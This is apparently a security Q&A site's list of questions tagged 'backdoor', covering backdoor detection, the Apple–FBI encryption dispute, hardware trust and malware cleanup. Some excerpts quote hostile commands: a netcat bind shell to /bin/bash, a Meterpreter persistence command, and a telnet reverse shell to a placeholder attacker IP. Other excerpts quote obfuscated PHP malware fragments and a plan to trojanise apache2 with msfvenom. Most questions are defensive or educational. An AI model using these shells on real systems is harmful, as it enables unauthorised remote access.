A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

learn more… | top users | synonyms

2
votes
2answers
112 views

Finding a backdoor on a server?

Let's say I hire someone (freelance), for IT work on an Ubuntu server. The server has a good firewall, I run clamav, chkrootkit & rkhunter scans weekly, and I try to keep good practices. The ...
3
votes
3answers
213 views

Is Bitlocker trustworthy?

My question isn't about whether or not the encryption on Bitlocker works, but whether or not there has been any security audits about potential backdoors Microsoft may have installed. I don't have a ...
16
votes
9answers
6k views

Would an encryption scheme that generates an extra key to be securely stored offsite be a safe backdoor?

Let me be clear first and foremost: I do not think installing a backdoor in security algorithms is a good idea. They undermine the trust in the software and in the company that provides the service. ...
1
vote
0answers
75 views

How to know if I have been infected with trojan horse through Fritz Box exploit?

This is my first post on here, and the first time I put serious thoughts into network security. I think I have an serious security issue in my network. It seems like someone somehow injected a ...
0
votes
1answer
34 views

How to check if any host trying to connect back to the my executable(application)?

Last month i have downloaded some hacking tools!!! After that i'm having a strong feeling that some host trying to connect back to the application(don't know whether i'm been monitored or not). Is ...
1
vote
0answers
129 views

from weevely shell to root? OSCP [closed]

I'm doing OSCP, and have been on this problem for a while. I need some guidance on this. I manage to get a weevely shell to a lab machine via SQL injection. The OS is CentOS 5.4 The user is "apache"...
2
votes
1answer
268 views

Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
1
vote
1answer
53 views

Rightscorp Scaleable Copyright - How would they avoid making this a massive security risk?

I recently read an article about a new copyright protection system that RightsCorp America is trying to get ISPs to help implement. From the Article: “Single notices can be read and bypassed ...
3
votes
1answer
133 views

How does metasploit persistence work?

When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP ...
3
votes
1answer
133 views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
0
votes
2answers
86 views

Using Two Different Brands of Security Tools To Block Backdoors

There's this idea of using 2 brands of firewalls both inline that is usually brought up: {Internet}<-->FW(A)<-->FW(B)<-->{Internal Network} Or using 2 algorithms: {Plain ...
11
votes
3answers
1k views

Why can't apple simply add the backdoor now and then remove it after the FBI is done?

Summary of the current situation by @TTT Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. ...
30
votes
1answer
1k views

Any known cases of government backdoors creating exploitable security holes? [closed]

As the Apple v FBI battle unfolds, government backdoors will become a hot topic. As background to that, I have two questions: Are there any known cases where governments have forced tech companies ...
1
vote
1answer
109 views

Could the FBI dump the drive contents of an iOS device, and then somehow run Virtual CPU's with different keys?

This seems like the most logical answer that would prevent wiping the data. Dump Contents of Drive. SetUp Virtual CPU with different keys. Use existing firmware and hardware for ios x Profit Is ...
8
votes
3answers
2k views

Why can't the FBI copy the contents of an iPhone they are trying to crack?

Making the news rounds now is a story about the courts ordering Apple to disable the automatic deletion of data after 10 failed password guesses. What I don't understand is, why doesn't the FBI just ...
158
votes
6answers
18k views

Apple's open letter - they can't or won't backdoor iOS?

Apple released an open letter to the public outlining their reasons for not complying with the FBI's demands to modify the iPhone's security mechanism. Here's a summary: The FBI has an iPhone in ...
4
votes
1answer
326 views

Run NetCat as bat file instead of exe

I need to run a netcat on a remote lab machine. I can execute remote commands through the browser with Administrator rights (because of the application vulnerability) but I don't have access to the ...
46
votes
6answers
7k views

How do large companies protect their source code?

I recently read the canonical answer of our ursine overlord to the question on How do certification authorities store their private root keys? I then just had to ask myself: How do large companies (e....
1
vote
1answer
99 views

Malware, RAT's and backdoors

Is there any kind of malware or RAT that cannot be gotten rid of by a thorough wipe with DBAN, flashing the BIOS and re-installing OS? More importantly, if you've been ratted and did all these things, ...
4
votes
2answers
259 views

Purely as a technical matter, is it possible to make otherwise-strong encryption implemetations that contain governmental backdoors?

So to be clear right-off-the-bat: I think re-designing modern encryption to include governmental "backdoors" is, on balance, a quite bad idea, for any number of good reasons. Nor (FWIW) do I actually ...
24
votes
2answers
2k views

What does the Juniper backdoor actually allow an attacker to do?

The Juniper ScreenOS backdoor recently discovered provides administrative access to these firewalls, but in terms of access to valuable data can it actually provide an attacker with anything useful ...
2
votes
2answers
33 views

DNS IP address auto reset

I have a unofficial Windows and i noticed that my internet connection gets reset. By taking a closer look at it, i found that the DNS server address is set to an IP in China. Any reason why this ...
-1
votes
1answer
47 views

Zilog Z80 CPU family security

According to this Intel and AMD could have backdoors in their CPU's, but what about Zilog and z80 family? I am mostly interested in the latest eZ80 , but also the original z80 and others. Are there ...
1
vote
2answers
152 views

Encryption software trustworthy?

If you are downloading and using an encryption software, e. g. Veracrypt or Diskcryptor, how do you know if this software is not a fake one? Backdoored or other security holes? Assuming that such ...
0
votes
1answer
208 views

Find php file with certain word in it and disable php

I have multiple VPS with at least thousands of accounts in them. My clients' websites are hacked and sending spam emails. I checked the log and found out two types of scritps type1: <?php $d79="...
0
votes
0answers
245 views

Injecting meterpreter/reverse_tcp into apache2 with msfvenom results in seg fault of apache2

I've been trying to use msfvenom with the linux/x86/meterpreter/reverse_tcp payload and an apache2 binary. My intent is to create a tainted version of apache2 to establish a persistent backdoor on the ...
1
vote
4answers
157 views

How to approach ruling out that past developers are backdooring my website?

My client says that one of his old developers found some code that allowed a past developer to access the site in certain ways. She wrote code to allow herself to log in to certain restricted areas ...
4
votes
2answers
151 views

What is a “roving” backdoor?

What is a "roving" backdoor? I understand the general concept of a backdoor. Emphasis on keyword qualifier: "roving"...
4
votes
3answers
441 views

BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor?

How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices? However these devices firmware often offer a proprietary ...
-3
votes
1answer
117 views

How to tell if my Windows 7 copy is not modified?

I lost my windows cd I downloaded a copy from the internet. The guy who shared it said it's original without any modifications. However I get weird actions like I can't use mouse clicks or I can't ...
2
votes
2answers
2k views

How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
3
votes
1answer
75 views

Securing the bootloader

When using full disk encryption the bootloader is not encrypted thus allowing attacks like the Evil Maid. My question is how can I secure myself from this? Can I encrypt the drive or store it in a ...
2
votes
1answer
77 views

Is it possible to build completely verifiable hardware?

Reproducible builds like they are used for Bitcoin, Tor or the Debian package repository aim at making sure that the binaries you install exactly equate the source code that they are supposed to be ...
3
votes
1answer
58 views

Is there reliable information on the prevalence of debug backdoors in software?

Developers sometimes forget to turn off the debug features of the software they ship: CWE-489 It is said here that About 20% of home routers have a backdoor in them, and 50% of industrial ...
12
votes
2answers
4k views

How do backdoors work? [closed]

I always hear about backdoors and I understand the main purpose but I have some questions: In what kind of software/web application/OS can I find them ? How can I recognize one ? How do I prevent ...
-1
votes
3answers
503 views

PHP Code Found Is It Malicious?

I found the following code on my website. What does it do? Is it malicious? Thank you. <?php @ignore_user_abort(true); @set_time_limit(0); $getherw3423 = "FFS"."W35"."25KK"."Sfj"; $rretert454352 =...
2
votes
3answers
3k views

How secure is VirtualBox for privacy/anonymity? [closed]

Is it possible that Oracle places backdoors in VirtualBox that compromise a user's privacy/anonymity? For example, is running Whonix through VirtualBox a secure set up if your host OS is unencrypted? ...
1
vote
1answer
320 views

backdoor php trojan still dangerous on my local machine?

I recently removed and fixed a lot of backdoor trojans in some files in one of my servers, and I copied those files to my local computer. But the issue is that now that I run the virus scanner on my ...
2
votes
2answers
2k views

Gaining root access on Ubuntu 14.04 [closed]

I am taking a Computer Security class and I am supposed to harden my system really well but I am supposed to leave one "hard backdoor" for the adversary to gain root access. I have been trying to ...
6
votes
2answers
164 views

Software can be audited, is there an equivalent for hardware?

In software, code auditing can be used as a mean to gain trust into a software. Of course closed, proprietary software would complicate this, and require to do reverse engineering. Anyway there seems ...
1
vote
1answer
1k views

What kind of backdoor can be made after hacking wi-fi? [closed]

I'm interested to know if A hacks B's wifi password, what can A do to gain persistent access to the router even after B changes the wifi password? Secondly, how can we detect the backdoor and patch it?...
4
votes
1answer
225 views

How are Intel/Amd Microcode Issues Delivered? Is it possible to block them?

After reading this article, I am really curious as to how, exactly processor microcode updates from Intel or AMD are issued. In what way is the data transmitted? Is it possibly to 'firewall' these ...
1
vote
1answer
351 views

Why do device vendors build-in backdoors when it can destroy the companys reputation? [closed]

As the title states: Why do large companies such as router developers intentionally build in backdoors into their product when it can completely destroy the company’s reputation and cause a major ...
-6
votes
1answer
137 views

IVE BEEN HACKED! [duplicate]

So i downloaded an application that was fishy that came out a couple hours ago on youtube and i was stupid and didnt scan it or anything and i let it run... blam instant security warnings and i ...
3
votes
1answer
77 views

Architecture dependency issue associated with malicious payloads

My question is regarding architectural restrictions associated with backdoor/bind/reverse tcp payloads used typically to gain shell through exploitation. In a situation where the target box ...
1
vote
2answers
450 views

Running tails on a corporate computer

Is it safe to run TAILS on a corporate computer? I mean a corporate computer that has hardware cryptography and probably some backdoors; and, by safe, I mean that nobody will be able to recover what ...
-2
votes
2answers
120 views

Suspicious files in my Windows

While I am doing a quick scan for virus on Norton 360, I noticed a long stop at some files. Their names are very very suspicious. Although I can't recall all of them, one of them, which I clearly ...
0
votes
1answer
758 views

Backdoor under Akismet wordpress plugin

my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
2
votes
0answers
324 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
votes
1answer
419 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> <...